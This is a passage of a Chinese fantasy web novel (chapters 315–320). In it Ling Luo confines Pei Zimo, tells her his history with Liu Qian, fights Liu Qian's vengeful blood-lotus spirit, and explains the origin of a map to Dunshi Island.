寒羽在离开地府的时候,大概是他这辈子最傻的时候,也是后来凌幽不断的喂他各种天材地宝,他的神智才渐渐清晰起来,唯一还能隐约记清的,就是他睡了一觉,睡醒了之后,就在笼子里了。 对凌珞有印象,是因为他几乎每次看到凌珞的时候,都是他要流血的时候。 修罗的皮厚,又很难愈合,每次他都疼得吱哇乱叫,看着自己的血流到碗里,然后被凌珞喝掉。 凌珞像是也不太喜欢喝,而且喝修罗血也不是一件什么好受的事情。 他吱哇乱叫完,就看着凌珞喝完血,疼得满地打滚。 有时候甚至会疼得昏过去,然后被凌幽抱走。 隔几天,再重复一次这样的事情。 凌珞不来的时候,凌幽最多是给他吃各种难吃的草药,他如果听话,他还会给他吃肉。 所以他一开始傻乎乎的就特别讨厌凌珞,想着只要没有凌珞,他的日子也不算太难过。 后来终于没有凌珞了,他甚至再也没有见过凌珞,但是凌幽却依旧需要他的血,还给他吃很多乱七八糟的东西,有些吃完他就像是要死了一样难受。 有很长的一段时间,他甚至忘记了凌珞。 可那时候他反抗不了凌幽,等凌幽隐约的感觉到他的实力快要超过他的时候,就把他封印起来了。 所以,他要回地府之前,还要做一件事,那就是要先把凌幽和凌珞送进地府。 寒羽抿着唇,想了很久,他不知道凌幽在哪,但是他知道裴子墨是凌珞带走的,所以找到裴子墨,就能找到凌珞,于是他抬起眼看向白锦夜,“我不记得是怎么被带出来的,那我跟你一起去找裴子墨。” “好。”白锦夜点点头,又道,“你放心,如果子墨也还是一样没有办法的话,那我们就去找凌幽,他能把你带出来,就也一定有办法把你送回去。” 寒羽眼睛都一亮,站起身往白锦夜身边走了几步,有些激动地道,“太好了,你既然喜欢华精玉,等我回了地府,再多给你搞点。” 第315章 你别想再见到他了 凌珞带着裴子墨回到了九幽圣谷,这一次他没有再让裴子墨一个人回自己的院子,反倒是把她关在自己的院子里,防止她乱跑。 裴子墨看着他设下的困阵,脸上也没什么异样,只是说,“我暂时都不会乱走。” 凌珞抬眼看了她一眼,显然不信。 “我已经跟白锦夜说了,等他伤好了,让他带着华精玉来找我,我若是乱走,他来了不是要撞进你手里?”裴子墨看着他,“反正不管怎么说,他只要来了,你就有华精玉了。” 凌珞微微皱了下眉头,隔了会才说,“我要华精玉已经没用了。” 裴子墨不解,“这么多年,你不是都在找华精玉么?” 凌珞没说话,等画完了困阵,才拽了一把椅子坐下,“想听听我和柳浅的故事么?” 裴子墨看着他,“你若想说,我可以听。” “柳浅是柳甫的妹妹,从小身上就有莲花印迹,当时‘十一公’里就流传什么只有‘神冥公’一脉才能养那莲花,我当然这传说是假的。”凌珞说着看着裴子墨,“可你知道么?柳浅人很温柔,说话温和,不管任何时候看到我,眼里都盛着满满的爱意。” “不像你,从看到我的第一眼,眼神里只有冰冷,第一句话,就判我死刑。反正你们之间也容不下我,既然我能活下来,我为什么不好好活着?为什么不去感受被爱的滋味?” “我跟柳浅在一起,确实开心快乐,也幸福过,可我总觉得缺少点什么。我有时候会想起你,我虽然从他的身上被剥离开,但是我也有着所有的记忆,我当然知道那些关于你的记忆根本不属于我,无论是快乐还是痛苦,都是你们的。” “可是那些记忆就像是扎根在我脑海里一样,想忘都忘不掉。柳浅很敏感,其实她早就感受到了,她从来都没有说穿,她只是默默的陪着我。后来……后来在她死的那天,你知道她对我说什么么?” “她说,她这辈子最开心的事情,就是能嫁给我,但是……这也是让她最难过的事,她说她知道我不爱她,她让我去找那个一直让我记挂着的人。” “既然这样,我又何必留着她的魂魄?让她早点入地府,喝了孟婆汤,忘了我,早点入轮回,去有新的人生,不是更好么?” 裴子墨微微抿了抿唇,她之前就已经猜到过凌珞要复活的人并不是柳浅,但到底是谁,她猜不到。 “柳浅是我亲自送入地府的,我刚从地府回来,就听说有人来找凌幽。那时候我以为不过都是为了神傀公兄妹的事,起初只是打算去看看,可却发现对方并不是我认识的人。我听对方跟他说,让他关注‘三世魂’,一旦发现就立刻杀死。还说这一次柳浅的事情做的很好,虽然柳浅不像是他们要找的人,但是宁杀错勿放过。” “我便知道,那是遁世岛的人,他们为了你而来,他们大概以为我是他,所以觉得我娶了柳浅,那柳浅就可能是你。他们说话间,也发现了我,没办法,那时我的魂魄都才刚刚稳固没多久,术法更不可能是任何人的对手,所以我只能装作一副悲痛的样子,去找凌幽要华精玉,目的——就是复活柳浅。” “柳浅都已经被我送走投胎了,还怎么复活?但戏总得演下去不是么?我不知道你会在什么时候转生,但是如果我不缠着凌幽,他就会分心去找你的转世。” “凌幽怕终究防不住我,若是被我偷走华精玉,复活了柳浅,那他在遁世岛面前,可就是个大罪人了,于是只能带着华精玉离开。我去不了琼华山,可琼华山同样也困了凌幽很多年。后来我就想,如果你能转世在我身边,起码我还能护着你,总比一出生就撞进凌幽的手里好。所以我试着用各种人的身体,来召唤你的魂魄。” “最接近的一次,就是在那朵血莲身上。我试过很多次,都失败了,就只能想着用血莲来试一试,没想到,只差一点就成功了。” “是你!”裴子墨皱起眉头,她隐约记得有一次,她在经历了无数次出生便早夭之后,就开始着手安排,她需要一次稳妥的降生,不被任何人发现,平安的长大,所以她必须要计算好转世后的每一步。 那次她确实感到了有人召唤,可她刚落到那身体上,那身体便无法承受,爆体而亡。 当时她只来得及瞥了一眼凌珞,虽然感觉他身上有一丝熟悉,但是还没弄清楚,她就重新回了地府。 她还以为那是曾经的熟人,根本没想过会是那丝执念,毕竟在她的印象中,那丝执念应该早就已经被消磨没了。 当时的凌珞,术法已经不低,既然有心复活她,那应该也会保护她,所以她才把凌珞算进了卦象之中,果然求得了更大的生机。 “是啊,是我。”凌珞笑了笑,“那一次,让我感受到了成功的可能性,血莲的魂魄也让我留了下来。可是后来,就几乎再也没有养成的血莲了,每次眼见着就要养成了,人就开始萎靡,魂魄逐渐消融,血莲也跟着枯萎,到现在为止,我依旧不知道到底是怎么回事。” “我也甚至想过用血莲之体,把那朵养成的血莲的魂魄放进去,可是不知道为什么就是没办法完全契合。直到有一次,我隐约的发现,那血莲的魂魄中,缺了很少的一丝,不仔细看也发现不了,甚至好像也不影响什么,但我想如果有华精玉来温养,应该很快就能恢复。” “不过这个想法,在后来这些年已经不重要了,因为我已经找到你了。”凌珞说着捋了捋袖口,“但是那血莲毕竟在我身边跟了大几百年,总归是有些情分,我想若是真的能得到华精玉,帮她温养了魂魄,就送她去转世。” “可你还是把她给了凌幽?”裴子墨看着他。 “是啊。”凌珞站起身,走到裴子墨的面前停下,伸手抬起她的下巴,“谁有你重要呢?我怕我去的迟了一分一刻,你万一出了事……那会凌幽提出什么要求我都会答应的。” “所以,子墨,白锦夜是不是拿着华精玉来已经没什么关系了,你跟我回来了,就别想再见到他了。”说完,他又轻轻地补充两个字,“永远。” 第316章 匣中之物 裴子墨抬手打开凌珞的手,起身往后退了几步,跟他隔开了一些距离,“凌珞,别以为现在凌幽和裴黎都不在,你就可以彻底的无所顾忌,你别忘了,裴黎的师叔还在外面。” 凌珞的手被拍开,他倒也没什么怒意,只是收回手,捋了捋自己的袖口,“我还挺好奇的,这么多年,这个人藏在哪。当世竟然还有术法如此之高的人,我倒真想见见呢。” 裴子墨微微拧着眉,她不清楚凌珞的术法到底有多高,但是凌珞有着前几世所有的记忆,又活了这么多年,想必很多术法都早已经融会贯通。 所以他不会将术法修至顶级被遁世岛发现,也许也是因为如此,他才一直没有用那血莲。 他一直压制自己的术法,若真是可别人动起手来,到了以命相搏的地步,他的术法未必会是眼前看到的这样。 隔了会,凌珞像是一扫之前两个人不算是太愉快的交谈,转头看着桌上的木匣,开口道,“还不打开这木匣看看么?看看他给你留下了什么。” 裴子墨的目光也落在木匣之上,顿了顿才道,“你出去。” 凌珞轻笑一声,“你是觉得这里面有什么你们两个共同的回忆,你不想被我看见?可你别忘了我是谁,这木匣里的东西,眼下这世上没有人比我更清楚。或者说你是不敢打开?那不如我直接告诉你?” 裴子墨抬眼看了他一眼,眼底带了几丝不快,但终究还是忍耐下来,迈步走到桌边,手放到木匣之上,却还是迟迟没有打开。 凌珞看着她,“你在怕什么?他又不是不在了,你打开这个木匣,也不会有人死掉,你是怕这里面他给你留下了……” “别说了。”裴子墨拧起眉头,“凌珞,我发现你真是越来越让人讨厌。我当初就不该心软,就该直接散了你这股执念,让你连投胎的机会都没有。” “因果循环,如果没有我,你现在说不定也不能好端端的站在这。”凌珞轻轻眯了下眼。 裴子墨懒得再理他,吸了一口气,打开了木匣。 木匣里面,只有一张薄薄的不知道是什么动物的皮,裴子墨微微皱了下眉,拿起来,是一副地图。 凌珞一直看着她,见状轻笑了一声,“你好像很失望?你以为这木匣里的东西是什么?是他给你留下的什么诉衷肠的书信?是你离开后他一个人对你的思念?没想到只是一副地图?” 裴子墨抬手一道符咒朝凌珞打过去,凌珞随手挥了挥,符咒便被化解掉,“怎么了?这是被我说中心思恼羞成怒了?” “凌珞,你闭会嘴,没人把你当哑巴。”裴子墨说着展开地图,铺在桌面上,地图上虽然有些标记,但是标记的不多,也很隐晦,只能看出来,应该是某个沿海的小镇,然后是海上的路线,她微微拧着眉,“这是……通往遁世岛的地图?” 凌珞点了点头,在桌边坐下。 路线的尽头,是在一片迷雾之中,迷雾之后,便是一个小岛。 但显然这片迷雾里面的路线图才是重点,不然就算找到了这片迷雾,没办法通过迷雾,或者是在迷雾中迷了路,就会丧命在汪洋大海之上。 “可他怎么会有遁世岛的地图?”裴子墨抬手轻轻地抚着地图上的标记,这字迹很显然就是他的笔迹,他没有去过遁世岛,就算是那一世为了镇压嗜血嗜杀的她,跟遁世岛有过交流,但遁世岛也不可能把地图给他。 凌珞坐在那,看着裴子墨,表情显然是等着裴子墨主动向他问起。 沉默了半响,如他所愿,裴子墨抬眼看向他,“你知道?” 凌珞轻笑一声,还没等说话,便听裴子墨继续道,“随便你说不说,别以为我会因为这件事求你。” 说完,裴子墨卷起地图,重新放回木匣。 凌珞看着木匣,“现在知道遁世岛在哪了,你有没有什么新的想法?比如去找上遁世岛,先下手为强?” 裴子墨走到床边坐下,“我有我的安排,不会冒然改变。” “那就最好。”凌珞站起来,“不过你要是想去遁世岛,我也可以勉为其难的陪你去。” 裴子墨看了他一眼,没再说话,盘膝而坐,打算开始修炼。 忘川之后,她的记忆和术法都恢复了不少,但是术法这东西不是灌进脑海就真的全会了,总还是要慢慢消化。 在那深渊之下,虽然消化了一部分,但也不过就是九牛一毛,她也正好趁着现在这段时间,把这些术法全都温习一遍。 见裴子墨不打算再说话,凌珞也就站起了身,扫了扫衣襟上的褶皱,迈步往外走。 走到门口的时候,凌珞又停下了脚步,他也没有转身,只是看着门外,开口问道,“如果事情跟你想的不一样……他早就背叛你了,你会如何?” 裴子墨的眉心轻轻皱了一下,没有说话。 凌珞等了片刻,像是知道裴子墨也不会回答自己一样,嗤笑了一声,像是在嘲笑自己的无聊,随即便继续向外面走。 等凌珞的气息消失,裴子墨才睁开眼睛,目光落在桌子的木匣之上,遁世岛如果给了他地图,他也没有必要临摹一遍。 所以这地图,应该是他靠着自己的记忆画下来的。 那么几世里,只有第一世,他算是完成了遁世岛任务。 如果遁世岛的人来人把他带走,或许他就是那时记下了地图。 可是……如果他早就知道这地图,为什么后来一直都没有提起过,而是在那个时候,把地图画下来,封印在那里? 他是想把这地图留给谁呢? 裴子墨的手微微握成拳头,抬眼向凌珞离开的方向看去,凌珞今天说了那么多,却偏偏对地图的事情守口如瓶,大概率是故意的,说不定早就想好了提出什么条件来交换。 可如今,华精玉对凌珞都没了用处,这条件显然是不好提了。 不过……凌珞催促她打开这木匣也不是第一次了,显然他要比她更急。 裴子墨收回目光,重新闭上眼睛,那就等着吧。 第317章 你为了一颗棋子舍弃我? 一晃,快要一个月过去,却始终不见白锦夜来。 裴子墨没什么,但眼见着凌珞已经坐不住了。 最开始是几天往裴子墨这来一趟,后来是一天来一次,到现在,一天来几次。 “你好像比我更急着见他呢。”裴子墨一边自己跟自己下棋,一边随意地开口道。 凌珞坐在她对面,眯眼看着她,“他那么担心你,不可能不来。” “我真是好奇了。”裴子墨玩着手里的一枚棋子,抬眼看着凌珞,“你不是说你不需要华精玉么?你还说不想再让我和他见面了,他不来这不是正好如你的意,你怎么突然又着急了?” “我也很好奇,这血莲定期要吸血,白锦夜又不知道我的血也可以养的你血莲,你说他怎么就不着急来找你呢?”凌珞没有回答,而是反问道。 裴子墨轻笑一声,同样没有回答。 凌珞微微眯了眯眼,正要再说话,突然抬眼向远处看去。 裴子墨也拧眉看去,“是圣殿,圣殿怎么了?” 凌珞没说话,起身就要离开。 “我也去。”裴子墨抬手抓住凌珞的手腕。 凌珞转头看了她半响,才道,“你最好别跟我耍什么花样。”说完转手抓住裴子墨的手腕,另一只捏着印诀,把她从困阵里拉出来,往圣殿的方向走。 两个人刚走到圣殿的台阶下,便见到一个人从台阶上滚下来。 凌珞微皱了下眉头,以术法接住对方,放到旁边的平地上。 袁澈摸了一把脸上的血,自从凌幽他们到了北冥国之后,他就一直呆在圣殿,可没想到今天突然有人闯进圣殿,二话不说就动手。 以往他也没觉得这世上有这么多比他术法高深的人,可如今一个接一个的冒出来,他都怀疑自己以往的术法全都喂了狗。 没一会,便有一个一身红袍的女子,朝台阶下面飘过来。 确实是飘过来,因为她并不是实体,而是一个魂魄。 裴子墨微微眯了下眼,她在她身上感受到了熟悉的气息,这女子便应该是凌珞说的那个养成的血莲之体。 只不过凌珞把她给了凌幽,她又怎么会在这? “别跟她硬碰硬。”袁澈看向裴子墨,“这女人是个疯子。” 裴子墨沉默了会,拿出一颗药扔给袁澈,“你今年是不是流年不利,怎么动不动就被人打成这样?” “呵。”袁澈嗤笑一声,“还不是你让我帮你在这找东西,不然好好的皇宫我不住,跑到你这圣殿来找虐?” 裴子墨转头看向他,“东西找到了么?” “还没有,大部分地方都查看过了,只剩下不到三分之一还没找,估摸着快了。”袁澈把药放进嘴里,“不过你们得先解决了这个疯女人,不然这圣殿我可是不敢呆了。” 裴子墨转头看向凌珞,“看样子凌幽是怕你过得太好,还给你留下点尾巴。”她说完往旁边退了一步,显然不打算插手这件事。 可凌珞却一把抓住她的手腕,“这事也不是因我一个人而起,你可别跑。” 那女人看到裴子墨站在凌珞的身边,表情更加狰狞,她在凌珞身前大概一丈远的地方停了下来,像是在极力忍耐,“凌珞,你为什么要把我送给别人?” 她的声音里带着几丝幽怨,像是对凌珞还带着几丝期盼,只要他能给她一个合理的解释,她就不再计较之前的事情。 凌珞沉默了一会,只是说,“血莲养出来,就是给人用的。” “可你明明知道,是凌幽杀了我,我恨他,我恨他!你为什么还要把我给他!”女人往前走了一步,目光落在裴子墨的身上,又转而落在凌珞拉着她的手腕上,“是因为她是么?凌幽告诉我,是因为你要去救别的女人,你明明……明明跟我说,裴子墨只是一颗棋子,为什么为了一颗棋子你要舍弃我?” 裴子墨拧眉盯着面前的女子,再联想着之前凌珞给她讲过的事情,她微微瞪大了眼睛,转头看向凌珞问道,“她就是柳浅是不是?她死了,你把她送进地府,可她投胎转世之后,你又把她带回了身边,是么?” 凌珞转头看了裴子墨一眼,没有回答她的话,反倒是看向柳浅,声音平和,可说出来的话却无比残忍,“我应该早点告诉你,你的存在从来都只是为了她,我之前骗你,只是怕你找她的麻烦,不过现在……她在你面前,应该有自保能力了。” 话都已经这么说,可柳浅显然还是不信,“不,你骗我是不是?我知道你们这一脉,要失去至亲至爱之人才能打开黄泉路,当初凌幽杀我,不就是因为这个么?如果你心里没有我,怎么会因为我的死打开黄泉路?” “黄泉路我早就可以打开。”凌珞轻笑一声,“你也不用再骗自己了,你自己心里早就清楚,只是不愿意相信而已。” 柳浅不可置信地看着凌珞半响,随即换上一副了然的模样,后退了几步,“是啊,是的,我早就清楚,我第一次死的时候,就清楚了,可是后来……你又找上我,我以为是我那么多年,终于捂热了你的心,我以为……”她说着想起了什么,身体轻轻颤抖,“我再问你最后一件事。” “那一年,你说养血莲之事到了最后的关头,要施展秘法。但那一次我爆体而亡,你说是秘法失败了,那一次,是真的为我施展秘法,还是因为别的什么?” 这话问出来,她的手都握成了拳,像是极紧张地在等着凌珞的答复。 凌珞也只是无奈地摇了摇头。 “我知道了。”柳浅低低应了一声,“怪不得后来这么多年,你连碰都不肯多碰我一下。曾经你可能还在忍耐,但是我死时对你说,让你去找她,怕是说中了你的心事,从此这么多年,你真的去找她了。呵……”说着她抬眼,狠狠地看向裴子墨,“可我也不会让你们如愿地在一起,我承受的,你们也一样要承受!” 第318章 你最好别让我后悔救了你 柳浅话落,一扬袖袍,一道罡风就朝裴子墨扫来。 凌珞把裴子墨往自己的身后拉了一把,抬手捏起印诀,化去罡风,“柳浅,这些年,你在我身边做的事,只要无伤大雅,我都睁一只眼闭一只眼,但你做过什么,你自己心里也清楚。” “我做过什么?我做什么不也都是为了把你留在身边么?”柳浅眯眼,“而如今我换来了什么?换来你把别的女人护在身后!” 凌珞没再说话,而是祭出一道道符咒,符咒把柳浅围在了中间。 柳浅发丝飞舞,头发和瞳孔的红色更显妖异,她也捏起了印诀,“天下术法,尽出自我柳家,你想用这些来困住我?” 裴子墨眯眼看着柳浅,她是柳甫的妹妹,自然从小就受术法熏陶,这么多年术法造诣肯定不低,况且又在凌珞身边这么多年,说是最了解凌珞的人也不为过,所以对凌珞的术法路数应该也知之甚详,再加上血莲的加成,搞不好,凌珞真的不是她的对手。 柳浅的话音落下片刻,困住的她的符咒就被由内而外的力道爆开。 凌珞都被冲击得后退了一步,他微微眯了眯眼,转头看向裴子墨,“你带着袁澈先走。” 裴子墨皱了下眉头,只是说,“小心。”说完便扶起袁澈向远处走。 看着这两人离开的背影,柳浅笑得越加疯狂,“你看,凌珞,你护着的人,根本不在乎你!” 凌珞冷笑一声,“起码比你口口声声说爱我,却在我背后捅刀子强。” “那一年,神傀公一脉联合着其他几脉不断的来找凌幽询问神傀公兄妹的下落,凌幽不想被打扰,早就设下重重阵法,是你把那些人引了过来。” “你起初只是想和凌幽一起做一场戏,你以为你若是救我受了重伤,我会因为你的付出而感动,可没想到你是做戏,凌幽却是动了真的,所以你才会恨他,你恨他利用你骗了你杀了你。” “但你真是多此一举,那时候,我也是真心想要跟你过日子的。我那时候是真的想放下这些,跟你和我们的孩子,好好过日子。” “你死后转世,我也没想过去打扰你,可还不是你托你哥哥,把你的转世重新送回到我身边?我是在用血莲做实验,但一开始主意也没有打到你身上。我养你身上的血莲,可你把血莲晶露都弄到哪去了?” 凌珞说着嗤笑一声,“那时候你不是就不长记性,又跟凌幽勾结在一起了么?你以为用凌幽牵制着我,我就没有时间去做别的事,我就没办法去找人了么?这么多年,我的消息,你不也是都想办法传给凌幽了么?” “凌幽都多少年没出现了,那一次,你发现了裴子墨还活着之后,凌幽就突然出来了,你别说跟你一点关系都没有。” “你既然一开始就知道,为什么还留着我?”柳浅眯起眼,“所以你是故意留着我给凌幽传消息,是么?” “是啊。”凌珞说着手突然往下一压,一道金色的网凭空出现,把柳浅压在下面。 柳浅下意识地抬手去撑,可手刚碰到金色的网,就疼得收了回来,“凌珞,你卑鄙!” “你现在收手,我送你去地府,以前的事一笔勾销。”凌珞说着微微顿了顿,“虽然咱们的孩子都不在了,但是如今存世的‘神冥公’一脉到底也都算我们的后人,看在这份上,我也不再为难你。” 柳浅被网压的逐渐无法站立,她跌坐在地上,身上暴戾的气息慢慢消失,“这一次,你送我去地府,我们以后都不会再见了吧?” 凌珞皱了下眉头,“早就不该见了。” “是啊,是啊。”柳浅垂眼看着地面,像是不打算挣扎了。 凌珞轻轻叹了一口气,黄泉路从他的面前慢慢延伸,眼看着就要碰到柳浅的时候,一朵红色的莲花突然在柳浅的身下成型。 黄泉路碰到莲花之后,一下子就像是失去了控制,凌珞死死地皱起眉头,眼见着黄泉路反向向他蔓延过来。 而且这黄泉路上掺杂着红色的纹路,显然被柳浅做了手脚。 柳浅抬眼看着凌珞,“那我们就一起下地狱吧!凌珞,这次再去地府,我可不想一个人留在那了,你就陪着我一起呆在那,咱们永生永世都不要再投胎转世!裴子墨我也不想杀了,就让你们永远阴阳相隔,不是更好么?” 凌珞拧着眉,眼看着血红色的黄泉路已经蔓延到他的脚下,他想退开,但身体早就不再听自己的使唤了。 正努力的尝试摆脱控制,突然一道银光从面前闪过,七杀斩直直地斩断了他面前的黄泉路。 凌珞迅速地往后退了几步,看向拎着七杀斩站在一边的裴子墨。 裴子墨也看了他一眼,就收回了目光,“你最好别让我后悔救了你。” “啊!”柳浅见状疯狂地大叫了一声,身上的莲花暴涨,迅速的包裹住裴子墨的身体,“裴子墨,我要你死!” 凌珞上前想要把裴子墨拉出来,可是血莲的位置却突然爆发出一阵血雾,血雾把裴子墨和柳浅全都掩盖在中间,他什么都看不清了,而且他也没办法进入到那血雾之中,“裴子墨!裴子墨!” 他连叫了几声,里面都一点动静没有。 凌珞眼里闪过一丝慌乱,他从来不知道柳浅会有这样一手,能依靠血莲之力反噬他的黄泉路。 他刚刚还说裴子墨在柳浅面前应该有了自保的能力,可显然是他低估了柳浅。 裴子墨的血莲才刚刚开始养没多久,可柳浅的那朵,已经成熟了几百年。 他努力的想要破开血雾,但是血雾非但没有消散的趋势,反倒越涨越大,而他依旧不能进入血雾之中,甚至被暴涨的血雾推着不断的后退。 凌珞死死地咬了咬牙,“裴子墨,你怎么样?你再不出声,我只能……” “你只能怎么样?”话落,柳浅从血雾之中慢慢地走出来,看着凌珞,“你要和我同归于尽么?” “裴子墨呢?”凌珞盯着柳浅的身影,“柳浅,她若是有个三长两短,我就带你一起进炼魂谷,咱们两个就一起在里面直至魂飞魄散!” “呵。”柳浅轻笑一声,抬手看着自己逐渐消融的手和胳膊,“倒是不用去炼魂谷那么麻烦了。” 第319章 没把你当个人 随着柳浅的话,她身后的血雾逐渐散去,露出裴子墨的身影。 裴子墨的脸色微微有些苍白,她拧眉看着柳浅,“现在让凌珞送你去地府还来得及。” “有什么必要么?”柳浅后退了一步,“事到如今,一了百了,反倒是解脱。” 裴子墨没有再理她,迈步便向外面走。 凌珞看了柳浅一眼,也要跟裴子墨离开。 “凌珞。”柳浅叫住他,“从今后,你再都不可能看见我,你就真的……不留下来陪陪我么?” 裴子墨对他们两个人的话别没兴趣,脚步也没停。 倒是凌珞,微微犹豫了片刻,还是停了下来。 柳浅看着他的背影,微微勾了勾唇,“凌珞……” “我问你。”凌珞转身看着柳浅,“刚才你那一招,是不是凌幽教你的?” 柳浅抿着唇,最终还是点了点头。 “他教你的时候,怎么说的?”凌珞又问。 “他说……为了防止你对我出手,这招可以破掉黄泉路。”柳浅看着凌珞,忍不住上前一步。 “仅仅是这样么?”凌珞冷笑一声,“死到临头,你还执迷不悟,柳浅,你活着真是悲哀。”说完他转过身,迈步往裴子墨离开的方向走去。 “凌珞!凌珞!”柳浅大叫了几声,“是,是,这一招可以杀了你,可是还不是你逼我的?是你逼我的!” 凌珞没再说话,只留给柳浅一道背影。 柳浅看着他越走越远,视线也越来越模糊,最终彻底消散在空气之中。 裴子墨回到院子里,没一会便见凌珞跟了上来,他也没进门,只是站在门口打量了她一会,才问道,“你没事吧?” 裴子墨转头看了看他,“你只是一时大意了,她本来也不是你的对手。” 凌珞微微皱了下眉头,又站了会,没再说什么,便转身离开。 裴子墨收回目光,吸了一口气,压下胸口翻涌的气血,盘膝坐下。 这一次凌珞好几天都没再出现,等再出现的时候,又恢复了之前的模样,仿佛柳浅的事从来都没有发生过。 他坐在桌边,接着裴子墨留下的残局下棋,等裴子墨睁开眼睛,才开口道,“我想了想,就算之前我是一时大意,但你终究救了我一命,我不想欠你这个人情。” “你也可以不欠我这个人情。”裴子墨看着他,“就当是当初我对你有了杀心,如今救你一命,扯平了。” 凌珞摆了摆手,“你想杀我,那是你欠我的,没这么容易还。”他说着在棋盘上看了一圈,像是也没找到一个合适的落子的位置,于是就把手里的棋子扔回了棋罐,“作为报答,我就告诉你那张地图是怎么来的吧。” 裴子墨微微皱了下眉头,没有说话。 凌珞盯着她看了会,“看样子,你对这件事好像不是很感兴趣。” “你这么多天没来见我,就想找一件事来还我人情,这件事对你来说又不能损失什么,但是又要让我觉得足够还这个人情了。”裴子墨轻笑道,“你想来想去,觉得就只有这件事了,我有什么选择的权利么?” 她说着撑着自己的下巴看着凌珞,“凌珞,你刚出生的时候,不是一个完整的魂魄,本来只是一股执念,没有人的喜怒哀乐。在凌幽这样的人身边长大,估计整个价值观都是扭曲的,上千年过来,身边好像也没什么靠谱的人,你能靠着自己变成如今这模样已经很好了,我对你没什么过多的要求和条件。” 凌珞大概是本来想到了这个条件,所以来的时候还挺开心的,但听裴子墨这么一说,整张脸都垮了,“你这话,就差点直说没把我当个人了。” 裴子墨笑了笑,并没有解释自己的话。 凌珞顿了顿,道,“我就偏不让你如意。”他说着再次从棋罐里拿出一粒棋子,一边重新在棋盘上找落子的位置,一边开口道,“你应该也猜到了,那地图是他凭借记忆画出来的。而他唯一一次有机会去遁世岛,就是第一世,你死了以后,他被遁世岛找到,算是完成了那一次遁世岛任务。” “他一开始,确实很悲痛,也根本不想去什么遁世岛,更不想一个人成仙。可是后来,他也知道,若是他放弃了这一次的机会,那你的死不就成了一场笑话么?于是他答应了遁世岛的人,跟他们一起离开。” “他存了两种心思,第一种,就是去遁世岛看看,万一有机会,就给你报仇。第二种,就是如果真的没有机会报仇,那就等着你,等你下一世若是也能完成遁世岛任务,那你们就可以再续前缘。” 凌珞说着眼睛一亮,终于找到了落子的位置,他小心翼翼地放下棋子,才继续道,“后来你见到他的转世,你以为他没在遁世岛成仙,是因为落入遁世岛的骗局之中,但你根本不知道,在你死了之后,他也去投胎转世之前,发生了什么事。” 裴子墨拧起眉,起身走到凌珞的对面坐下,随手拿起一颗棋子,“你现在是想告诉我,遁世岛的根本不是骗局么?他们真的会给人成仙的机会?” “倒也不是。”凌珞顿了顿才道,“遁世岛的存在,更像是为了一种平衡,以及……守护着什么秘密。” “守护着平衡?”裴子墨嗤笑一声,“让那些苦苦修炼的人互相残杀,就是为了守护平衡?” 她的问题,凌珞回答不了,他只能继续道,“所以他跟着遁世岛的人一起离开,在海上漂泊了很多天,最后进了一片迷雾。带他去遁世岛的人跟他说,只要过了这片迷雾,就到了遁世岛。之前的路,他都记在脑海里,可不知道为什么,进了迷雾之后,他就开始昏睡,等醒来,便被告知早在十天之前,他们就已经到了遁世岛。” “遁世岛确实就像是人间仙境,小孩子随手挥出的术法,在外界恐怕都要修炼几百年才能达到。只不过,遁世岛的人虽然各个都术法高强,但是人并不多,而他们这些外来的人,在遁世岛,就是最低的阶级,所有的脏活累活都是由他们来做,或是被派到其他的地方发布遁世岛任务。” “他也没想到,自己在外面已经算是呼风唤雨的存在,可到了遁世岛,竟是这番光景,于是他便萌生了逃走的想法。而就在这个时候……”凌珞抬眼看着裴子墨,“他认识了一个女子。” 第320章 他可真是一条听话的好狗 说到这,凌珞像是卖起了关子,没有再继续往下说,甚至开口问道,“你不好奇么?” “怎么?你不打算说了?”裴子墨抬眼看他。 凌珞无语地摇了摇头,才继续道,“这女子来自于另外的地方,但是有些巧合的是,她的故事刚好和你们对调,换成了她的丈夫被遁世岛追杀,最后成全了她来遁世岛。也就是说,两个人都是靠自己所爱之人的性命,才换来来遁世岛的机会。” “他们也算是惺惺相惜,更打算一起从遁世岛逃走。他们表面上顺从遁世岛,甚至几次离开遁世岛去其他的地方执行遁世岛任务,为的就是记住离开遁世岛的路线。” “但可惜,遁世岛不会让一个人接连两次离开遁世岛去执行任务,而且那团迷雾的位置又似乎跟季节风向有关,所以每一次都是变化的,没有哪两次会完全一样。本来两个人对逃跑这件事是满怀信心,可是慢慢的,便逐渐发现,他们根本不可能有机会逃离遁世岛。” 裴子墨皱起眉头,“他们既然帮助遁世岛出去执行任务,那只要不再回遁世岛不久好了么?” “他们每次出去的时候,都有一个遁世岛的人带队,而这个人在他们的身上设了法阵,一旦他们离开他超过一定的距离,法阵就会启动,到时候,整个人都会被法阵绞死。”凌珞笑了笑,“他们当然不是唯二想要逃跑的人,哪一个去了遁世岛的人,在外面不是佼佼者呢?又有谁甘心受人奴役?” “好在后来终于让他们等到了一次机会,那一次说是恰逢遁世岛的什么大祭,所有遁世岛的人都在忙于祭祀的事情,就疏于防守,于是他们逃出了遁世岛。本来说好了是通过迷雾之后,就各自分开,自己回自己的家。只不过……事与愿违,他们还是被人发现了。” “那个女子为了救他,死了,他也是重伤奄奄一息,逃上陆地没多久,就不治身亡。那一世他根本没有机会把地图留下来,而且他也没有跳忘川,这些本来便应该永远被尘封。可他大概是没想到,你会跳进忘川。” 裴子墨垂眼看着棋局,没有说话。 倒是凌珞继续道,“你知道他为什么没有跳忘川么?我觉得,是他动摇了。你想,他跟那个女子,也是一次次在生死边缘徘徊,甚至那个女子为了救他而死,他能不感动么?” 裴子墨抬起眼,“所以,如果柳浅为了救你而死,你也会感动?” 凌珞盯着裴子墨的眼睛,“你就这么相信他?” 裴子墨看着他没有说话。 凌珞轻笑一声,“反正这地图是怎么来的,我已经告诉你了,其他的事情跟地图来源无关,我也没必要再说。” 裴子墨点点头,只是说,“那就把这盘棋下完吧。” 凌珞没再说话,低头继续下棋,半个时辰之后,棋局以裴子墨获胜告终。 裴子墨慢慢地捡着棋盘上的棋子,像是完全没有被凌珞讲的故事影响。 “你就什么都不想说么?”凌珞终于沉不住气了,开口问道。 “我看过他的三生石。”隔了好一会,裴子墨才低声道。 “呵。”凌珞脸上闪过一抹怒意,一副自己被耍了的表情,“果然是多余跟你说这些,说得我自己口干舌燥。” “但是我不记得了。”裴子墨抬眼看他,“我虽然想起来一部分事情,可也不是完全都想起来了,所以我在三生石上到底看到了什么,我现在并不记得。再加上,他的三生石被我打碎了,你说的是真的还是假的,也都无从考证了。” “我说的当然是真的!”凌珞拧着眉。 